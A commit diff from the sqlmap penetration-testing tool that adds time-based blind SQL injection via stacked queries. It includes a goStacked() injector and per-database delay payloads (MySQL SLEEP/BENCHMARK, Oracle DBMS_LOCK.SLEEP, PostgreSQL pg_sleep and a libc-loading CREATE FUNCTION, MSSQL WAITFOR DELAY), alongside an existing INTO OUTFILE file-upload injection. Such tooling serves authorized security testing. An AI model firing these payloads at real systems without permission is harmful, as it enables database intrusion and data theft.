Initial implementation of support for stacked queries.

Added method to test for Time based blind SQL injection query stacking
on the affected parameter a SLEEP() or similar DBMS specific function.
Adapted libraries, plugins and XML with the above changes.
Minor layout adjustments.
This commit is contained in:
Bernardo Damele 2008-11-12 00:36:50 +00:00
parent 13f76cfe3b
commit 81ed7c2086
12 changed files with 185 additions and 95 deletions

View File

@ -68,7 +68,10 @@ def action():
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint() print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
# Miscellaneous options # Techniques options
if conf.timeTest:
dumper.string("time based sql injection", conf.dbmsHandler.timeTest())
if conf.unionTest: if conf.unionTest:
dumper.string("valid union", unionTest()) dumper.string("valid union", unionTest())

View File

@ -95,7 +95,7 @@ class Agent:
else: else:
raise sqlmapNoneDataException, "unsupported injection type" raise sqlmapNoneDataException, "unsupported injection type"
if kb.parenthesis != None: if kb.parenthesis not in ( None, 0 ):
query += "%s " % (")" * kb.parenthesis) query += "%s " % (")" * kb.parenthesis)
query += string query += string
@ -343,7 +343,7 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
inbandQuery = self.prefixQuery("UNION ALL SELECT ") inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
if not exprPosition: if not exprPosition:
exprPosition = kb.unionPosition exprPosition = kb.unionPosition

View File

@ -48,6 +48,12 @@ optDict = {
"dbms": "string", "dbms": "string",
}, },
"Techniques": {
"timeTest": "boolean",
"unionTest": "boolean",
"unionUse": "boolean",
},
"Fingerprint": { "Fingerprint": {
"extensiveFp": "boolean", "extensiveFp": "boolean",
}, },
@ -85,8 +91,6 @@ optDict = {
}, },
"Miscellaneous": { "Miscellaneous": {
"unionTest": "boolean",
"unionUse": "boolean",
"eta": "boolean", "eta": "boolean",
"verbose": "integer", "verbose": "integer",
"updateAll": "boolean", "updateAll": "boolean",

View File

@ -64,3 +64,5 @@ PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
TIME_SECONDS = 5

View File

@ -103,6 +103,27 @@ def cmdLineParser():
injection.add_option("--dbms", dest="dbms", injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value") help="Force back-end DBMS to this value")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection "
"technique or to use one of them to exploit "
"the affected parameter(s) rather than using "
"the default blind SQL injection technique.")
techniques.add_option("--time-test", dest="timeTest",
action="store_true",
help="Test for Time based blind SQL injection")
techniques.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION SELECT (inband) SQL injection")
techniques.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION SELECT (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
# Fingerprint options # Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint") fingerprint = OptionGroup(parser, "Fingerprint")
@ -215,16 +236,6 @@ def cmdLineParser():
# Miscellaneous options # Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION SELECT (inband) SQL injection")
miscellaneous.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION SELECT (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
miscellaneous.add_option("--eta", dest="eta", action="store_true", miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Retrieve each query output length and " help="Retrieve each query output length and "
"calculate the estimated time of arrival " "calculate the estimated time of arrival "
@ -251,6 +262,7 @@ def cmdLineParser():
parser.add_option_group(request) parser.add_option_group(request)
parser.add_option_group(injection) parser.add_option_group(injection)
parser.add_option_group(techniques)
parser.add_option_group(fingerprint) parser.add_option_group(fingerprint)
parser.add_option_group(enumeration) parser.add_option_group(enumeration)
parser.add_option_group(filesystem) parser.add_option_group(filesystem)

View File

@ -95,6 +95,14 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.count = data self.__queries.count = data
elif name == "comment":
data = sanitizeStr(attrs.get("query"))
self.__queries.comment = data
elif name == "timedelay":
data = sanitizeStr(attrs.get("query"))
self.__queries.timedelay = data
elif name == "substring": elif name == "substring":
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data self.__queries.substring = data

View File

@ -38,6 +38,8 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.settings import TIME_SECONDS
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse from lib.techniques.inband.union.use import unionUse
from lib.techniques.inference.blind import bisection from lib.techniques.inference.blind import bisection
from lib.utils.resume import queryOutputLength from lib.utils.resume import queryOutputLength
@ -53,7 +55,7 @@ def __getFieldsProxy(expression):
def __goInference(payload, expression): def __goInference(payload, expression):
start = time.time() start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms: if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload) _, length, _ = queryOutputLength(expression, payload)
@ -100,7 +102,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
parameter through a bisection algorithm. parameter through a bisection algorithm.
""" """
query = agent.prefixQuery(temp.inference) query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
count = None count = None
@ -379,3 +381,22 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
value = __goInferenceProxy(expression, fromUser, expected) value = __goInferenceProxy(expression, fromUser, expected)
return value return value
def goStacked(expression, timeTest=False):
"""
TODO: write description
"""
query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
start = time.time()
Request.queryPage(payload)
duration = int(time.time() - start)
if timeTest:
return (duration >= TIME_SECONDS, payload)
else:
return duration >= TIME_SECONDS

View File

@ -92,7 +92,7 @@ def unionTest():
value = "" value = ""
query = agent.prefixQuery("UNION ALL SELECT NULL") query = agent.prefixQuery(" UNION ALL SELECT NULL")
for comment in ("--", "#", "/*", ";", "%00"): for comment in ("--", "#", "/*", ";", "%00"):
value = __effectiveUnionTest(query, comment) value = __effectiveUnionTest(query, comment)

View File

@ -128,7 +128,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
logMsg = "executing MySQL comment injection fingerprint" logMsg = "executing MySQL comment injection fingerprint"
logger.info(logMsg) logger.info(logMsg)
query = agent.prefixQuery("/* NoValue */") query = agent.prefixQuery(" /* NoValue */")
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
@ -156,7 +156,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
for version in range(element[0], element[1] + 1): for version in range(element[0], element[1] + 1):
randInt = randomInt() randInt = randomInt()
version = str(version) version = str(version)
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
@ -285,10 +285,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
# Or if it is MySQL >= 5.0.0 and < 5.1.2 # Or if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)"): elif inject.getValue("MID(@@hostname, 1, 1)"):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
# NOTE: MySQL 5.0.12 introduced SLEEP() function
# References:
# * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
# * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
elif inject.getValue("SELECT 1 FROM DUAL") == "1": elif inject.getValue("SELECT 1 FROM DUAL") == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"] kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"): elif inject.getValue("DATABASE() LIKE SCHEMA()"):
@ -424,7 +420,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(query) query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)

View File

@ -39,6 +39,7 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.settings import TIME_SECONDS
from lib.core.shell import autoCompletion from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
@ -68,13 +69,34 @@ class Enumeration:
temp.inference = queries[dbms].inference temp.inference = queries[dbms].inference
# TODO: move this function to an appropriate file
def timeTest(self):
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# TODO: probably the '; <COMMENT>' will be filled in in all
# future time based SQL injection attacks at the end of the
# stacked query. Find a way that goStacked() function itself
# append it.
query = "%s; " % queries[kb.dbms].timedelay % TIME_SECONDS
query += queries[kb.dbms].comment
self.timeTest = inject.goStacked(query, timeTest=True)
if self.timeTest[0] == True:
return "True, verified with payload: %s" % self.timeTest[1]
else:
return "False"
def forceDbmsEnum(self): def forceDbmsEnum(self):
pass pass
def getBanner(self): def getBanner(self):
logMsg = "fetching banner" infoMsg = "fetching banner"
logger.info(logMsg) logger.info(infoMsg)
query = queries[kb.dbms].banner query = queries[kb.dbms].banner
@ -85,8 +107,8 @@ class Enumeration:
def getCurrentUser(self): def getCurrentUser(self):
logMsg = "fetching current user" infoMsg = "fetching current user"
logger.info(logMsg) logger.info(infoMsg)
query = queries[kb.dbms].currentUser query = queries[kb.dbms].currentUser
@ -97,8 +119,8 @@ class Enumeration:
def getCurrentDb(self): def getCurrentDb(self):
logMsg = "fetching current database" infoMsg = "fetching current database"
logger.info(logMsg) logger.info(infoMsg)
query = queries[kb.dbms].currentDb query = queries[kb.dbms].currentDb
@ -109,8 +131,8 @@ class Enumeration:
def getUsers(self): def getUsers(self):
logMsg = "fetching database users" infoMsg = "fetching database users"
logger.info(logMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].users rootQuery = queries[kb.dbms].users
@ -128,8 +150,8 @@ class Enumeration:
self.cachedUsers = value self.cachedUsers = value
if not self.cachedUsers: if not self.cachedUsers:
logMsg = "fetching number of database users" infoMsg = "fetching number of database users"
logger.info(logMsg) logger.info(infoMsg)
if condition: if condition:
query = rootQuery["blind"]["count2"] query = rootQuery["blind"]["count2"]
@ -161,8 +183,8 @@ class Enumeration:
def getPasswordHashes(self): def getPasswordHashes(self):
logMsg = "fetching database users password hashes" infoMsg = "fetching database users password hashes"
logger.info(logMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].passwords rootQuery = queries[kb.dbms].passwords
@ -220,9 +242,9 @@ class Enumeration:
if user in retrievedUsers: if user in retrievedUsers:
continue continue
logMsg = "fetching number of password hashes " infoMsg = "fetching number of password hashes "
logMsg += "for user '%s'" % user infoMsg += "for user '%s'" % user
logger.info(logMsg) logger.info(infoMsg)
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["blind"]["count2"] % user query = rootQuery["blind"]["count2"] % user
@ -236,8 +258,8 @@ class Enumeration:
logger.warn(warnMsg) logger.warn(warnMsg)
continue continue
logMsg = "fetching password hashes for user '%s'" % user infoMsg = "fetching password hashes for user '%s'" % user
logger.info(logMsg) logger.info(infoMsg)
passwords = [] passwords = []
indexRange = getRange(count) indexRange = getRange(count)
@ -292,8 +314,8 @@ class Enumeration:
def getPrivileges(self): def getPrivileges(self):
logMsg = "fetching database users privileges" infoMsg = "fetching database users privileges"
logger.info(logMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].privileges rootQuery = queries[kb.dbms].privileges
@ -443,9 +465,9 @@ class Enumeration:
if user in retrievedUsers: if user in retrievedUsers:
continue continue
logMsg = "fetching number of privileges " infoMsg = "fetching number of privileges "
logMsg += "for user '%s'" % user infoMsg += "for user '%s'" % user
logger.info(logMsg) logger.info(infoMsg)
if unescapedUser: if unescapedUser:
queryUser = unescapedUser queryUser = unescapedUser
@ -466,8 +488,8 @@ class Enumeration:
logger.warn(warnMsg) logger.warn(warnMsg)
continue continue
logMsg = "fetching privileges for user '%s'" % user infoMsg = "fetching privileges for user '%s'" % user
logger.info(logMsg) logger.info(infoMsg)
privileges = set() privileges = set()
indexRange = getRange(count) indexRange = getRange(count)
@ -549,8 +571,8 @@ class Enumeration:
warnMsg += "names will be fetched from 'mysql' database" warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg) logger.warn(warnMsg)
logMsg = "fetching database names" infoMsg = "fetching database names"
logger.info(logMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].dbs rootQuery = queries[kb.dbms].dbs
@ -565,8 +587,8 @@ class Enumeration:
self.cachedDbs = value self.cachedDbs = value
if not self.cachedDbs: if not self.cachedDbs:
logMsg = "fetching number of databases" infoMsg = "fetching number of databases"
logger.info(logMsg) logger.info(infoMsg)
if kb.dbms == "MySQL" and not self.has_information_schema: if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["count2"] query = rootQuery["blind"]["count2"]
@ -605,10 +627,10 @@ class Enumeration:
self.forceDbmsEnum() self.forceDbmsEnum()
logMsg = "fetching tables" infoMsg = "fetching tables"
if conf.db: if conf.db:
logMsg += " for database '%s'" % conf.db infoMsg += " for database '%s'" % conf.db
logger.info(logMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables rootQuery = queries[kb.dbms].tables
@ -626,8 +648,8 @@ class Enumeration:
elif conf.excludeSysDbs: elif conf.excludeSysDbs:
query += " WHERE " query += " WHERE "
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList) query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList) infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(logMsg) logger.info(infoMsg)
value = inject.getValue(query, blind=False) value = inject.getValue(query, blind=False)
@ -652,14 +674,14 @@ class Enumeration:
for db in dbs: for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList: if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db infoMsg = "skipping system database '%s'" % db
logger.info(logMsg) logger.info(infoMsg)
continue continue
logMsg = "fetching number of tables for " infoMsg = "fetching number of tables for "
logMsg += "database '%s'" % db infoMsg += "database '%s'" % db
logger.info(logMsg) logger.info(infoMsg)
query = rootQuery["blind"]["count"] % db query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False, expected="int") count = inject.getValue(query, inband=False, expected="int")
@ -711,10 +733,10 @@ class Enumeration:
errMsg = "missing database parameter" errMsg = "missing database parameter"
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException, errMsg
logMsg = "fetching columns " infoMsg = "fetching columns "
logMsg += "for table '%s' " % conf.tbl infoMsg += "for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db infoMsg += "on database '%s'" % conf.db
logger.info(logMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].columns rootQuery = queries[kb.dbms].columns
@ -744,10 +766,10 @@ class Enumeration:
self.cachedColumns[conf.db] = table self.cachedColumns[conf.db] = table
if not self.cachedColumns: if not self.cachedColumns:
logMsg = "fetching number of columns " infoMsg = "fetching number of columns "
logMsg += "for table '%s'" % conf.tbl infoMsg += "for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db infoMsg += " on database '%s'" % conf.db
logger.info(logMsg) logger.info(infoMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db) query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
@ -841,12 +863,12 @@ class Enumeration:
colList.sort(key=lambda x: x.lower()) colList.sort(key=lambda x: x.lower())
colString = ", ".join(column for column in colList) colString = ", ".join(column for column in colList)
logMsg = "fetching" infoMsg = "fetching"
if conf.col: if conf.col:
logMsg += " columns '%s'" % colString infoMsg += " columns '%s'" % colString
logMsg += " entries for table '%s'" % conf.tbl infoMsg += " entries for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db infoMsg += " on database '%s'" % conf.db
logger.info(logMsg) logger.info(infoMsg)
if conf.unionUse: if conf.unionUse:
if kb.dbms == "Oracle": if kb.dbms == "Oracle":
@ -893,12 +915,12 @@ class Enumeration:
warnMsg += "blind to confirm" warnMsg += "blind to confirm"
logger.warn(warnMsg) logger.warn(warnMsg)
logMsg = "fetching number of " infoMsg = "fetching number of "
if conf.col: if conf.col:
logMsg += "columns '%s' " % colString infoMsg += "columns '%s' " % colString
logMsg += "entries for table '%s' " % conf.tbl infoMsg += "entries for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db infoMsg += "on database '%s'" % conf.db
logger.info(logMsg) logger.info(infoMsg)
if kb.dbms == "Oracle": if kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper() query = rootQuery["blind"]["count"] % conf.tbl.upper()
@ -1011,8 +1033,8 @@ class Enumeration:
def sqlQuery(self, query): def sqlQuery(self, query):
logMsg = "fetching SQL SELECT query output: '%s'" % query infoMsg = "fetching SQL SELECT query output: '%s'" % query
logger.info(logMsg) logger.info(infoMsg)
if query.startswith("select "): if query.startswith("select "):
query = query.replace("select ", "SELECT ", 1) query = query.replace("select ", "SELECT ", 1)
@ -1029,9 +1051,9 @@ class Enumeration:
def sqlShell(self): def sqlShell(self):
logMsg = "calling %s shell. To quit type " % kb.dbms infoMsg = "calling %s shell. To quit type " % kb.dbms
logMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
logger.info(logMsg) logger.info(infoMsg)
autoCompletion(sqlShell=True) autoCompletion(sqlShell=True)

View File

@ -82,6 +82,22 @@ string =
dbms = dbms =
[Techniques]
# Test for Time based blind SQL injection.
# Valid: True or False
timeTest = False
# Test for UNION SELECT (inband) SQL injection.
# Valid: True or False
unionTest = False
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
# output. No need to go blind.
# Valid: True or False
unionUse = False
[Fingerprint] [Fingerprint]
# Perform an extensive back-end database management system fingerprint # Perform an extensive back-end database management system fingerprint
@ -197,15 +213,6 @@ osShell = False
[Miscellaneous] [Miscellaneous]
# Test for UNION SELECT (inband) SQL injection.
# Valid: True or False
unionTest = False
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
# output. No need to go blind.
# Valid: True or False
unionUse = False
# Retrieve each query output length and calculate the estimated time of # Retrieve each query output length and calculate the estimated time of
# arrival in real time. # arrival in real time.
# Valid: True or False # Valid: True or False

View File

@ -14,6 +14,15 @@
<limitstring query=" LIMIT "/> <limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
<comment query="#" query2="/*"/>
<!--
NOTE: In PHP the mysql_query() function does not permit query stacking, or executing multiple queries in a single function call.
MySQL 5.0.12 introduced SLEEP() function
References:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
* http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
-->
<timedelay query="SELECT SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
<substring query="MID((%s), %d, %d)"/> <substring query="MID((%s), %d, %d)"/>
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/> <inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
@ -62,6 +71,8 @@
<limitstring/> <limitstring/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
<comment query="--"/>
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="SELECT UTL_INADDR.get_host_name('10.0.0.%d') FROM DUAL"/>
<substring query="SUBSTR((%s), %d, %d)"/> <substring query="SUBSTR((%s), %d, %d)"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/> <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
@ -109,6 +120,8 @@
<limitstring query=" OFFSET "/> <limitstring query=" OFFSET "/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
<comment query="--" query2="/*"/>
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
<substring query="SUBSTR((%s)::text, %d, %d)"/> <substring query="SUBSTR((%s)::text, %d, %d)"/>
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
@ -157,6 +170,8 @@
<limitstring/> <limitstring/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
<comment query="--" query2="/*"/>
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
<substring query="SUBSTRING((%s), %d, %d)"/> <substring query="SUBSTRING((%s), %d, %d)"/>
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
<banner query="@@VERSION"/> <banner query="@@VERSION"/>